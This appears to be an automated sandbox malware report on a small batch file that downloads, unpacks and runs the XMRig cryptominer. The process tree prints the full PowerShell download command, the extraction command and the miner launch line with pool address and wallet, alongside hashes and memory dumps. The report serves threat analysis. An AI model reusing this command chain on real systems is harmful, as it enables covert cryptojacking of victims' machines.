Analysis

  • max time kernel
    1792s
  • max time network
    1794s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 07:21

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3180
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4960

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7d29ae2a5668fe0dd8e8b4abd3f5563e

          SHA1

          278648f7537cc2d1a6a203beaad9f754a97d43bc

          SHA256

          6a3703a17b940171fb149788454f9cb46d118cc578e7800b8d87c724e8f72058

          SHA512

          baffa032fa30b80b82eb143e7cf17c428955a029bb79cf8eb3ba403368c3bf7f3fc05cc6ec74b1f2867833fcf819bc850258f741cc0ff2cee02dae5c9d3042ea

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_um3hs1zn.2by.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          34KB

          MD5

          8a811c0f96dc628eafb6fcb233386efa

          SHA1

          70bccac5608363e7d765a17dd09540fea92afc61

          SHA256

          f26761d405764b30a264941cae59d5f7ac9b8793326d327dff8157a65b4ee36e

          SHA512

          9923825a240793f38de056de3f44de969b2a7fe3fe9d574a185dc6c4eb8e7ca6a7a0b188b7508939f772397f2db37b38686994773789f35acf1d6363ea518aff

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          490KB

          MD5

          b9b714f1a23acccbb8e8d5504ddd20f7

          SHA1

          9f260e80e6d7eab37da1f0ad60ab36c5dbbb8470

          SHA256

          04bff03121fd54dcec035f33d41c5477dad9d4f4c994f4a5c473507ba450d9b6

          SHA512

          8e86da9fe227ecf6cc7317a6a4341d9f8c585ab0542642f536d2f14dcf426f762e1acb8cada6c1f8b4308e7e63a08f8e68636f89840d24cb2be955be90dd9ad8

        • memory/2756-29-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-7-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-26-0x00007FF874BB0000-0x00007FF87559C000-memory.dmp

          Filesize

          9.9MB

        • memory/2756-27-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-28-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-10-0x0000018BA77F0000-0x0000018BA7866000-memory.dmp

          Filesize

          472KB

        • memory/2756-34-0x00007FF874BB0000-0x00007FF87559C000-memory.dmp

          Filesize

          9.9MB

        • memory/2756-9-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-4-0x0000018BA7640000-0x0000018BA7662000-memory.dmp

          Filesize

          136KB

        • memory/2756-25-0x0000018B8EF00000-0x0000018B8EF10000-memory.dmp

          Filesize

          64KB

        • memory/2756-6-0x00007FF874BB0000-0x00007FF87559C000-memory.dmp

          Filesize

          9.9MB

        • memory/3180-39-0x00007FF874BB0000-0x00007FF87559C000-memory.dmp

          Filesize

          9.9MB

        • memory/3180-66-0x000001C45B840000-0x000001C45B850000-memory.dmp

          Filesize

          64KB

        • memory/3180-80-0x000001C4740C0000-0x000001C4740D2000-memory.dmp

          Filesize

          72KB

        • memory/3180-41-0x000001C45B840000-0x000001C45B850000-memory.dmp

          Filesize

          64KB

        • memory/3180-93-0x000001C45BDD0000-0x000001C45BDDA000-memory.dmp

          Filesize

          40KB

        • memory/3180-117-0x00007FF874BB0000-0x00007FF87559C000-memory.dmp

          Filesize

          9.9MB

        • memory/3180-42-0x000001C45B840000-0x000001C45B850000-memory.dmp

          Filesize

          64KB

        • memory/4960-143-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-155-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-122-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-123-0x00000139D98A0000-0x00000139D98C0000-memory.dmp

          Filesize

          128KB

        • memory/4960-124-0x00000139D9AD0000-0x00000139D9AF0000-memory.dmp

          Filesize

          128KB

        • memory/4960-125-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-126-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-127-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-128-0x00000139D98A0000-0x00000139D98C0000-memory.dmp

          Filesize

          128KB

        • memory/4960-129-0x00000139D9AD0000-0x00000139D9AF0000-memory.dmp

          Filesize

          128KB

        • memory/4960-130-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-131-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-132-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-133-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-134-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-135-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-136-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-137-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-138-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-139-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-140-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-141-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-142-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-120-0x00000139455B0000-0x00000139455D0000-memory.dmp

          Filesize

          128KB

        • memory/4960-144-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-145-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-146-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-147-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-148-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-149-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-150-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-151-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-152-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-153-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-154-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-121-0x00000139470D0000-0x0000013947110000-memory.dmp

          Filesize

          256KB

        • memory/4960-156-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-157-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-158-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-159-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-160-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-161-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-162-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-163-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-164-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-165-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-166-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-167-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-168-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-169-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-170-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-171-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-172-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-173-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-174-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-175-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-176-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-177-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-178-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-179-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-180-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-181-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-182-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-183-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-184-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-185-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-186-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-187-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB

        • memory/4960-188-0x00007FF7C35D0000-0x00007FF7C40D3000-memory.dmp

          Filesize

          11.0MB